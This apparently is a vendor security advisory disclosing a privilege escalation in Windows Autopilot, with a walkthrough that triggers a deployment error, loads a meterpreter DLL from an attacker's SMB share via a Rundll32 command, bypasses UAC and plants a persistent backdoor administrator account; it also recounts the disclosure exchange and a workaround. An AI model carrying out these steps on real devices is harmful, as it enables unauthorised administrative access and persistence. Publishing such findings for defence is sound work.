Bug Or Feature: Privilege Escalation In Windows Autopilot

30.11.2020 vulnerability

SEC Consult identified a local privilege escalation vulnerability in the Windows Autopilot deployment process.

Privilege Escalation Screen - SEC Consult

TL;DR

The vulnerability allows a user to elevate his privileges to that of a local administrator during deployment and to keep those permissions on the system after the deployment. As SEC Consult strongly believes in responsible disclosure, we reported the issue via MSRC. The first ticket was closed without any notice. The second one was closed after one month with the following message:

“We have completed our investigation and found the issue submitted to us is not a security issue and is by design; this issue doesn’t meet security servicing bug bar.”

Therefore, SEC Consult publishes this feature publicly as it does not appear in the official documentation.

For further information or other security related inquiries, feel free to get in touch with our Vulnerability Lab via Twitter, LinkedIn or Email.

Introduction To Windows Autopilot

Windows Autopilot allows to easily pre-configure and set up new devices without a dedicated infrastructure on the client’s premises. In the Microsoft Endpoint Manager Admin Center, the IT department defines a Windows Autopilot deployment profile that can be assigned to all devices or pre-defined groups. When initially deploying new Windows devices, Windows Autopilot uses the OEM-optimized version of Windows 10. This version is preinstalled on the device, so the IT department does not have to maintain custom images and drivers for every device model. Instead of re-imaging the device, the existing Windows 10 installation can be transformed into a “business-ready” state that can:

apply settings and policies
install apps
change the edition of Windows 10 being used (for example, from Windows 10 Pro to Windows 10 Enterprise) to support advanced features.

Once deployed, the IT department can manage Windows 10 devices with:

Microsoft Intune
Windows Update for Business
Microsoft Endpoint Configuration Manager or other similar tools.

Windows Autopilot offers the following scenarios:

Windows Autopilot user-driven mode
- Deploy and configure devices so that end users can set it up for themselves.
Windows Autopilot self-deploying mode
- Deploy devices to be automatically configured for shared use, as a kiosk, or as a digital signage device.
Windows Autopilot Reset
- Redeploy a device in a business-ready state.
Pre-provisioning
- Pre-provision a device with up-to-date applications, policies, and settings.
Windows Autopilot for existing devices
- Deploy Windows 10 on an existing Windows 7 or 8.1 device.

Windows Autopilot Lifecycle Graphic - SEC Consult — Windows Autopilot Lifecycle – Source: https://docs.microsoft.com/en-us/mem/autopilot/windows-autopilot

Other people have already done a large amount of research to present and document the inner workings and technical details of Windows Autopilot. We recommend you to look at the following posts to get more information about the inner workings:

Scope

SEC Consult identified a critical issue in the deployment process allowing an attacker or a regular employee to elevate his privileges to that of a local administrator. This works even if:

The deployment profile is explicitly set to add users to the regular user group.
The deployment profile is set to do not allow local administrative users.
The CMD in OOBE via SHIFT+F10 is EXPLICITLY disabled.

SEC Consult verified these preconditions in the following Windows Autopilot scenarios:

Windows Autopilot user-driven mode.
Windows Autopilot Pre-provisioning.

The identified vulnerability might also be exploitable in other scenarios. The only requirement is that an error or an informational screen contains a button to open a select folder dialog. Examples can be found in the following figures, where the link/button that opens a select folder dialog is marked red.

Windows Autopilot User-Driven Mode (TPM removed)

Error TPM message - SEC Consult — Error message triggered by removing the TPM

Windows Autopilot Pre-provisioning (Missing LAN Connection)

Error detached network cable message - SEC Consult — Error message triggered by detaching the network cable

Prerequisites

Overview of the default autopilot profile in the endpoint manager

Create a Deployment Profile

To test the identified issue, we created a new Windows Autopilot deployment profile using mostly default values. Discover the settings in the following figure.

Add the Device to Intune

Furthermore, a device hash was added manually to Intune. This step would normally be conducted by an OEM, however, for easier testing, this step was conducted manually as follows:

md c:\\HWIDSet-Location c:\\HWIDSet-ExecutionPolicy -Scope Process 
-ExecutionPolicy UnrestrictedInstall-Script 
-Name Get-WindowsAutoPilotInfoGet-WindowsAutoPilotInfo.ps1 
-OutputFile AutoPilotHWID.csv

More information: https://docs.microsoft.com/en-us/mem/autopilot/add-devices

Exploit

Overview

As a brief overview, the exploit works as follows (detailed steps can be found after the overview list):

Unpack the new device and power it on.
Select language and connect to the network.
The device is automatically assigned the previously created deployment profile as the device hash was added to Intune.
Trigger an error during or before device preparation e.g. via:
- Disconnecting the network.
- Removing/Disabling the TPM in UEFI or even physically before deployment.
- Use a TPM version < 2.0 (this is needed for user-driven mode).
- There are many other potential ways to trigger an error during deployment.
An error window opens → Click on “View Diagnostics”.
A select folder dialog opens up (a user can only select folders here).
Navigate to the following location in the address bar:
- Rundll32.exe \\10.0.0.1\shell.dll,DLLMain (the shell is hosted on an attacker’s host in the same network, in this case, a meterpreter shell was used).
The shell connects back to the attacker’s host as the default deployment user called defaultuser0. This user is in the local administrator group.
Since UAC is active, an arbitrary UAC bypass can be used to elevate the privileges (we used the Windows Store FileSys bypass https://www.exploit-db.com/exploits/47378).
An attacker can now create a backdoor user with local administrative privileges or other kinds of backdoors.
Finally, the device is made compliant again by:
- Reconnecting the network.
- Reattaching/activating the TPM.
The deployment is restarted and successfully completes.
The deployment user defaultuser0 gets deleted, but the backdoor user still exists and can be used for further attacks.

The detailed proof of concept can be seen in the following paragraph.

Details

Windows autopilot screen - SEC Consult — Windows Autopilot provision screen

Step 1 – Power on the device

The first step is to power on the device (previously added to Intune via manually uploading the unique hardware hash). The next step is to select a language and connect to the network. The following screen is shown to the user:

Error in deployment process screenshot - SEC Consult — Error triggered during the deployment process

Step 2 – Trigger an error

In the next step, an error was triggered manually by physically removing the TPM aka detaching it in the virtual machine we used (another way would be to disconnect the network). That way the deployment fails and the following screen is shown to the user:

Open File Dialog as defaultuser0 Screenshot - SEC Consult — Open File Dialog launched as defaultuser0

Step 3 – Trigger shell

Now, an attacker has to conduct the following tasks:
Host a meterpreter shell or any other code as a DLL on a SMB share.
Click on View diagnostics.
Navigate to the following location: Rundll32.exe \\10.0.0.1\shell.dll,DLLMain
Obtain a shell on a listener (Context: defaultuser0).

See the details in the following figures:

Meterpreter successful launch Screen - SEC Consult — Meterpreter shell launched successfully

Step 4 – Bypass UAC

The user defaultuser0 that handles the deployment belongs to the local administrator group. To obtain a shell with local administrative privileges, the UAC has to be bypassed. We used the WSReset.exe UAC bypass, which is conveniently available in the metasploit module windows/local/bypassuac_windows_store_filesys. As we already have a meterpreter session on the system, this module can be easily loaded. The successful UAC bypass, including the shell with high privileges, can be seen in the following figure:

UAC successful bypass screen - SEC Consult — UAC bypass executed successfully

Step 5 – Add a new user to the local administrator group

In the freshly obtained shell, we created a new administrator account called secadmin, as shown in the following figure.

New user added local admin group screen - SEC Consult — Successfully adding a new user as well as adding the new user to the local administrator group

Step 6 – Restart the deployment process

To complete the exploit, the element that failed the deployment process (e.g. missing TPM, missing network connection, etc.) is now reverted and the deployment restarted by clicking on “Retry”. The deployment process completes successfully this time, as shown in the following screen:

Restart Deployment Success Message - SEC Consult — Successfully restarted the deployment process

Step 7 – Login to the device

After the reboot, the deployment user defaultuser0 has been removed. A domain user can log himself into the client using his Azure AD credentials. Furthermore, he can elevate his privileges to that of a local admin by running any process as the backdoor user secadmin that was created in step 5. Discover the user information after login into the machine using azure AD credentials in the following figures:

Privilege Admin Account Deployment Screen - SEC Consult — Local administrator account details created during deployment

Privilege Escalation CMD Local Admin Screen - SEC Consult — A CMD launched as the Local administrator account details created during deployment

Fix? Patch? Workaround? – Or Some Words About Communication During The Responsible Disclosure Procedure

Responsible disclosure can sometimes be quite demanding (exceptions apply!) and time-consuming. In this case, we noticed some very odd behavior that we did not expect from such a huge vendor. When we submitted our first ticket via msrc.microsoft.com we received the following reply:

Hello,
Thank you for contacting the Microsoft Security Response Center (MSRC). Secure(at)microsoft.com is the proper e-mail address to report security vulnerabilities to. In order to investigate your report I will need a valid proof of concept (POC) ideally with images or video, the detailed steps to reproduce the problem, and how an attacker could use it to exploit another user. Please also note that all bounty/acknowledgement decisions are made at a point past when an issue is cased and cannot be addressed here.
This thread is being closed and no longer monitored. When ready, submit a new report at https://aka.ms/secure-at.

We, of course, handed over all the information including a complete report with PoC in the ticket, but the ticket was closed. We resubmitted the same ticket again and got no response for nearly a month. After a month, we got the following response:

Hi,

We have completed our investigation and found the issue submitted to us is not a security issue and is by design; this issue doesn’t meet security servicing bug bar.

Thanks again, for sharing this report with us. We anticipate no further action on this item from MSRC and will be closing out this case.

Best regards,
MSRC

Error TPM removed message - SEC Consult — Error message triggered by removing the TPM

Of course, a responsible disclosure process is easier for companies, which handle a few cases a year, and we understand that errors can occur when hundreds of cases are handled per year. We would have loved to have a chat with Microsoft on how to maybe mitigate this issue as for some users this might not be a feature but a potential issue and a security gap. Due to the MSRC statement that the identified security issue is a feature we decided to publish the details.

We tried to come up with a solution by ourselves and identified one workaround that might prevent exploitation at least in the circumstance where the following window is used for the exploitation:

Endpoint manager configuration against attack vectors screen - SEC Consult — Setting in Endpoint Manager to remediate one of the possible attack vectors

This “Collect Logs” button can be disabled in Intune by changing the setting “Allow Users to collect logs about installation errors” to no (YES by default):

Timeline